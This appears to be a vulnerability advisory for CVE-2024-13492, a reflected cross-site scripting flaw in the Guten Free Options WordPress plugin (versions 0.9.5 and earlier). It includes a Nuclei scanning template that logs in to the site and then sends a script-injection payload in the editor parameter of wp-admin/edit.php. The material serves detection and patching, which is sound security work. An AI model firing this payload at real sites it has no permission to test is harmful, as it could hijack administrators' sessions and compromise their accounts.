CVE-2024-13492: Guten Free Options - Cross Site Scripting

2026-02-24 Guten Free Options PoC Public

Description

Guten Free Options WordPress plugin <= 0.9.5 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to click malicious link.

PoC

id: CVE-2024-13492

info:
  name: Guten Free Options - Cross Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Guten Free Options WordPress plugin <= 0.9.5 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to click malicious link.
  impact: |
    Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/a4a75b75-4801-4ed4-bcc6-4874ac169562/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13492
    cwe-id: CWE-79
    epss-score: 0.00584
    epss-percentile: 0.46378
    cpe: cpe:2.3:a:wordquest:guten_free_options:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wordquest
    product: guten_free_options
  tags: cve,cve2024,wordquest,guten-free-options,authenticated,wordpress,wp,wp-plugin,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=page&editor=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`")
        condition: and
# digest: 4b0a00483046022100a235df37a08f7b755d4828c4e660d1b8542e10c8d0e1dc664288e9f3a0332ec7022100e06034558b4e5e9fd9846c1ebb76a2e72a5a00aca8d6bc4fa22cc068475b8fdf:922c64590222798bb761d5b6d8e72950

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